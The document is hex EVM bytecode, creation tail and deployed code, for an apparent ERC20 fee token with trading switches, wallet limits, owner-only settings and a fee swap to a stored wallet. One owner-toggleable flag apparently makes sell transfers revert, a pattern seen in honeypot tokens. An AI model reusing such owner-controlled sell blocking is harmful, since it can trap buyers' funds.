fffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110465750611016610957565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561107f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110b9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110d25750600a60009054906101000a900460ff16155b1561151b57601260009054906101000a900460ff166111cc57600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061118c5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612a1e565b60405180910390fd5b5b601260029054906101000a900460ff161561151a57601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156112845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561132b57600d548111156112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c590612ab0565b60405180910390fd5b600e546112da8361085a565b826112e59190612ad0565b1115611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131d90612b50565b60405180910390fd5b611519565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113ce5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561146d57600d54811115611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612be2565b60405180910390fd5b601260019054906101000a900460ff1615611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90612c4e565b60405180910390fd5b611518565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661151757600e546114ca8361085a565b826114d59190612ad0565b1115611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612b50565b60405180910390fd5b5b5b5b5b5b60006011546115293061085a565b101590508080156115465750601260019054906101000a900460ff165b801561155f5750600a60009054906101000a900460ff16155b80156115b55750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561160b5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116615750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116a7576001600a60006101000a81548160ff02191690831515021790555061168b6000611a58565b6000600a60006101000a81548160ff0219169083151502179055505b6000600a60009054906101000a900460ff16159050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175d5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561176757600090505b6000811561197f57601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118105750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118405761183d606461182f600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561189b57506000600b54115b156118cf576118c860646118ba600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b905061195b565b601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561192a57506000600c54115b1561195a576119576064611949600c5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b5b60008111156119705761196f863083611b4a565b5b808461197c9190612c6e565b93505b61198a868686611b4a565b505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611a633061085a565b90506000808203611a75575050611b47565b60001515831515148015611a9657506014601154611a939190612566565b82115b15611aad576014601154611aaa9190612566565b91505b611ab682611dc0565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611afc90612cd3565b60006040518083038185875af1925050503d8060008114611b39576040519150601f19603f3d011682016040523d82523d6000602084013e611b3e565b606091505b50508091505050505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90612dec565b60405180910390fd5b611c33838383612003565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb090612e7e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611da79190612257565b60405180910390a3611dba848484612008565b50505050565b6000600267ffffffffffffffff811115611ddd57611ddc612e9e565b5b604051908082528060200260200182016040528015611e0b5781602001602082028036833780820191505090505b5090503081600081518110611e2357611e22612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eee9190612f11565b81600181518110611f0257611f01612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bdb565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fcd959493929190613037565b600060405180830381600087803b158015611fe757600080fd5b505af1158015611ffb573d6000803e3d6000fd5b505050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204757808201518184015260208101905061202c565b60008484015250505050565b6000601f19601f8301169050919050565b600061206f8261200d565b6120798185612018565b9350612089818560208601612029565b61209281612053565b840191505092915050565b600060208201905081810360008301526120b78184612064565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120ef826120c4565b9050919050565b6120ff816120e4565b811461210a57600080fd5b50565b60008135905061211c816120f6565b92915050565b6000819050919050565b61213581612122565b811461214057600080fd5b50565b6000813590506121528161212c565b92915050565b6000806040838503121561216f5761216e6120bf565b5b600061217d8582860161210d565b925050602061218e85828601612143565b9150509250929050565b60008115159050919050565b6121ad81612198565b82525050565b60006020820190506121c860008301846121a4565b92915050565b6000819050919050565b60006121f36121ee6121e9846120c4565b6121ce565b6120c4565b9050919050565b6000612205826121d8565b9050919050565b6000612217826121fa565b9050919050565b6122278161220c565b82525050565b6000602082019050612242600083018461221e565b92915050565b61225181612122565b82525050565b600060208201905061226c6000830184612248565b92915050565b60008060006060848603121561228b5761228a6120bf565b5b60006122998682870161210d565b93505060206122aa8682870161210d565b92505060406122bb86828701612143565b9150509250925092565b6122ce81612198565b81146122d957600080fd5b50565b6000813590506122eb816122c5565b92915050565b60008060408385031215612308576123076120bf565b5b60006123168582860161210d565b9250506020612327858286016122dc565b9150509250929050565b600060ff82169050919050565b61234781612331565b82525050565b6000602082019050612362600083018461233e565b92915050565b612371816120e4565b82525050565b600060208201905061238c6000830184612368565b92915050565b6000602082840312156123a8576123a76120bf565b5b60006123b68482850161210d565b91505092915050565b600080604083850312156123d6576123d56120bf565b5b60006123e48582860161210d565b92505060206123f58582860161210d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061244657607f821691505b602082108103612459576124586123ff565b5b50919050565b7f546865206c696d69747320686173206265656e2072656d6f7665642e00000000600082015250565b6000612495601c83612018565b91506124a08261245f565b602082019050919050565b600060208201905081810360008301526124c481612488565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612501601783612018565b915061250c826124cb565b602082019050919050565b60006020820190508181036000830152612530816124f4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061257182612122565b915061257c83612122565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125b5576125b4612537565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006125fa82612122565b915061260583612122565b925082612615576126146125c0565b5b828204905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061267c602483612018565b915061268782612620565b604082019050919050565b600060208201905081810360008301526126ab8161266f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061270e602283612018565b9150612719826126b2565b604082019050919050565b6000602082019050818103600083015261273d81612701565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061277a602083612018565b915061278582612744565b602082019050919050565b600060208201905081810360008301526127a98161276d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006127e6601d83612018565b91506127f1826127b0565b602082019050919050565b60006020820190508181036000830152612815816127d9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b6000612878602683612018565b91506128838261281c565b604082019050919050565b600060208201905081810360008301526128a78161286b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573732e00000000000000000000000000000000000000000000000000000000602082015250565b600061290a602483612018565b9150612915826128ae565b604082019050919050565b60006020820190508181036000830152612939816128fd565b9050919050565b7f45524332303a207472616e7366657220616d6f756e74206d757374206265206760008201527f726561746572207468616e207a65726f2e000000000000000000000000000000602082015250565b600061299c603183612018565b91506129a782612940565b604082019050919050565b600060208201905081810360008301526129cb8161298f565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000612a08601683612018565b9150612a13826129d2565b602082019050919050565b60006020820190508181036000830152612a37816129fb565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d6178207472616e73616374696f6e20616d6f756e742e000000000000000000602082015250565b6000612a9a603783612018565b9150612aa582612a3e565b604082019050919050565b60006020820190508181036000830152612ac981612a8d565b9050919050565b6000612adb82612122565b9150612ae683612122565b9250828201905080821115612afe57612afd612537565b5b92915050565b7f4d61782077616c6c65742065786365656465642e000000000000000000000000600082015250565b6000612b3a601483612018565b9150612b4582612b04565b602082019050919050565b60006020820190508181036000830152612b6981612b2d565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d6178207472616e73616374696f6e20616d6f756e742e0000000000000000602082015250565b6000612bcc603883612018565b9150612bd782612b70565b604082019050919050565b60006020820190508181036000830152612bfb81612bbf565b9050919050565b7f5377617020686173206e6f74206265656e20656e61626c65642e000000000000600082015250565b6000612c38601a83612018565b9150612c4382612c02565b602082019050919050565b60006020820190508181036000830152612c6781612c2b565b9050919050565b6000612c7982612122565b9150612c8483612122565b9250828203905081811115612c9c57612c9b612537565b5b92915050565b600081905092915050565b50565b6000612cbd600083612ca2565b9150612cc882612cad565b600082019050919050565b6000612cde82612cb0565b9150819050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612d44602583612018565b9150612d4f82612ce8565b604082019050919050565b60006020820190508181036000830152612d7381612d37565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612dd6602383612018565b9150612de182612d7a565b604082019050919050565b60006020820190508181036000830152612e0581612dc9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612e68602683612018565b9150612e7382612e0c565b604082019050919050565b60006020820190508181036000830152612e9781612e5b565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612f0b816120f6565b92915050565b600060208284031215612f2757612f266120bf565b5b6000612f3584828501612efc565b91505092915050565b6000819050919050565b6000612f63612f5e612f5984612f3e565b6121ce565b612122565b9050919050565b612f7381612f48565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612fae816120e4565b82525050565b6000612fc08383612fa5565b60208301905092915050565b6000602082019050919050565b6000612fe482612f79565b612fee8185612f84565b9350612ff983612f95565b8060005b8381101561302a5781516130118882612fb4565b975061301c83612fcc565b925050600181019050612ffd565b5085935050505092915050565b600060a08201905061304c6000830188612248565b6130596020830187612f6a565b818103604083015261306b8186612fd9565b905061307a6060830185612368565b6130876080830184612248565b969550505050505056fea2646970667358221220d5f31873e265cf0a2f3700c9ca33b162960f9b41c356182e0622e1f88495507064736f6c63430008100033
Deployed Bytecode
0x6080604052600436106101a05760003560e01c80636ddd1713116100ec578063a9059cbb1161008a578063c9567bf911610064578063c9567bf914610591578063dd62ed3e146105a8578063e2f45605146105e5578063f8b45b0514610610576101a7565b8063a9059cbb14610500578063c02466681461053d578063c8c8ebe414610566576101a7565b8063751039fc116100c6578063751039fc1461046857806375f0a8741461047f5780638da5cb5b146104aa57806395d89b41146104d5576101a7565b80636ddd1713146103e957806370a0823114610414578063715018a614610451576101a7565b80632ae2f121116101595780634706240211610133578063470624021461033d57806349bd5a5e146103685780634a62bb65146103935780634ada218b146103be576101a7565b80632ae2f121146102be5780632b14ca56146102e7578063313ce56714610312576101a7565b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461021457806318160ddd1461023f5780631ff8d5071461026a57806323b872dd14610281576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161063b565b6040516101ce919061209d565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612158565b6106cd565b60405161020b91906121b3565b60405180910390f35b34801561022057600080fd5b506102296106f0565b604051610236919061222d565b60405180910390f35b34801561024b57600080fd5b50610254610716565b6040516102619190612257565b60405180910390f35b34801561027657600080fd5b5061027f610720565b005b34801561028d57600080fd5b506102a860048036038101906102a39190612272565b610754565b6040516102b591906121b3565b60405180910390f35b3480156102ca57600080fd5b506102e560048036038101906102e091906122f1565b610783565b005b3480156102f357600080fd5b506102fc6107e6565b6040516103099190612257565b60405180910390f35b34801561031e57600080fd5b506103276107ec565b604051610334919061234d565b60405180910390f35b34801561034957600080fd5b506103526107f5565b60405161035f9190612257565b60405180910390f35b34801561037457600080fd5b5061037d6107fb565b60405161038a9190612377565b60405180910390f35b34801561039f57600080fd5b506103a8610821565b6040516103b591906121b3565b60405180910390f35b3480156103ca57600080fd5b506103d3610834565b6040516103e091906121b3565b60405180910390f35b3480156103f557600080fd5b506103fe610847565b60405161040b91906121b3565b60405180910390f35b34801561042057600080fd5b5061043b60048036038101906104369190612392565b61085a565b6040516104489190612257565b60405180910390f35b34801561045d57600080fd5b506104666108a2565b005b34801561047457600080fd5b5061047d6108b6565b005b34801561048b57600080fd5b50610494610931565b6040516104a19190612377565b60405180910390f35b3480156104b657600080fd5b506104bf610957565b6040516104cc9190612377565b60405180910390f35b3480156104e157600080fd5b506104ea610981565b6040516104f7919061209d565b60405180910390f35b34801561050c57600080fd5b5061052760048036038101906105229190612158565b610a13565b60405161053491906121b3565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f91906122f1565b610a36565b005b34801561057257600080fd5b5061057b610a99565b6040516105889190612257565b60405180910390f35b34801561059d57600080fd5b506105a6610a9f565b005b3480156105b457600080fd5b506105cf60048036038101906105ca91906123bf565b610b14565b6040516105dc9190612257565b60405180910390f35b3480156105f157600080fd5b506105fa610b9b565b6040516106079190612257565b60405180910390f35b34801561061c57600080fd5b50610625610ba1565b6040516106329190612257565b60405180910390f35b60606003805461064a9061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546106769061242e565b80156106c35780601f10610698576101008083540402835291602001916106c3565b820191906000526020600020905b8154815290600101906020018083116106a657829003601f168201915b5050505050905090565b6000806106d8610bd3565b90506106e5818585610bdb565b600191505092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b610728610da4565b601260019054906101000a900460ff1615601260016101000a81548160ff021916908315150217905550565b60008061075f610bd3565b905061076c858285610e22565b610777858585610eae565b60019150509392505050565b61078b610da4565b80601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600c5481565b60006012905090565b600b5481565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601260029054906101000a900460ff1681565b601260009054906101000a900460ff1681565b601260019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6108aa610da4565b6108b46000611992565b565b6108be610da4565b60011515601260029054906101000a900460ff16151514610914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161090b906124ab565b60405180910390fd5b6000601260026101000a81548160ff021916908315150217905550565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546109909061242e565b80601f01602080910402602001604051908101604052809291908181526020018280546109bc9061242e565b8015610a095780601f106109de57610100808354040283529160200191610a09565b820191906000526020600020905b8154815290600101906020018083116109ec57829003601f168201915b5050505050905090565b600080610a1e610bd3565b9050610a2b818585610eae565b600191505092915050565b610a3e610da4565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d5481565b610aa7610da4565b601260009054906101000a900460ff1615610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee90612517565b60405180910390fd5b6001601260006101000a81548160ff021916908315150217905550565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60115481565b600e5481565b60008183610bb59190612566565b905092915050565b60008183610bcb91906125ef565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190612692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612724565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d979190612257565b60405180910390a3505050565b610dac610bd3565b73ffffffffffffffffffffffffffffffffffffffff16610dca610957565b73ffffffffffffffffffffffffffffffffffffffff1614610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790612790565b60405180910390fd5b565b6000610e2e8484610b14565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610ea85781811015610e9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e91906127fc565b60405180910390fd5b610ea78484848403610bdb565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f149061288e565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612920565b60405180910390fd5b60008111610fd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc7906129b2565b60405180910390fd5b610fd8610957565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110465750611016610957565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561107f5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110b9575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156110d25750600a60009054906101000a900460ff16155b1561151b57601260009054906101000a900460ff166111cc57600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061118c5750600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6111cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c290612a1e565b60405180910390fd5b5b601260029054906101000a900460ff161561151a57601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156112845750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561132b57600d548111156112ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c590612ab0565b60405180910390fd5b600e546112da8361085a565b826112e59190612ad0565b1115611326576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131d90612b50565b60405180910390fd5b611519565b601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113ce5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561146d57600d54811115611418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140f90612be2565b60405180910390fd5b601260019054906101000a900460ff1615611468576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161145f90612c4e565b60405180910390fd5b611518565b601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661151757600e546114ca8361085a565b826114d59190612ad0565b1115611516576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150d90612b50565b60405180910390fd5b5b5b5b5b5b60006011546115293061085a565b101590508080156115465750601260019054906101000a900460ff165b801561155f5750600a60009054906101000a900460ff16155b80156115b55750601360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561160b5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116615750600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116a7576001600a60006101000a81548160ff02191690831515021790555061168b6000611a58565b6000600a60006101000a81548160ff0219169083151502179055505b6000600a60009054906101000a900460ff16159050600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061175d5750600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561176757600090505b6000811561197f57601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118105750601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118405761183d606461182f600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b601360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561189b57506000600b54115b156118cf576118c860646118ba600b5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b905061195b565b601360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561192a57506000600c54115b1561195a576119576064611949600c5487610ba790919063ffffffff16565b610bbd90919063ffffffff16565b90505b5b60008111156119705761196f863083611b4a565b5b808461197c9190612c6e565b93505b61198a868686611b4a565b505050505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000611a633061085a565b90506000808203611a75575050611b47565b60001515831515148015611a9657506014601154611a939190612566565b82115b15611aad576014601154611aaa9190612566565b91505b611ab682611dc0565b601260039054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1647604051611afc90612cd3565b60006040518083038185875af1925050503d8060008114611b39576040519150601f19603f3d011682016040523d82523d6000602084013e611b3e565b606091505b50508091505050505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090612d5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1f90612dec565b60405180910390fd5b611c33838383612003565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb090612e7e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611da79190612257565b60405180910390a3611dba848484612008565b50505050565b6000600267ffffffffffffffff811115611ddd57611ddc612e9e565b5b604051908082528060200260200182016040528015611e0b5781602001602082028036833780820191505090505b5090503081600081518110611e2357611e22612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611eca573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eee9190612f11565b81600181518110611f0257611f01612ecd565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610bdb565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fcd959493929190613037565b600060405180830381600087803b158015611fe757600080fd5b505af1158015611ffb573d6000803e3d6000fd5b505050505050565b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561204757808201518184015260208101905061202c565b60008484015250505050565b6000601f19601f8301169050919050565b600061206f8261200d565b6120798185612018565b9350612089818560208601612029565b61209281612053565b840191505092915050565b600060208201905081810360008301526120b78184612064565b905092915050565b600080fd5b600073fffffffffffffffffffffffffffffffff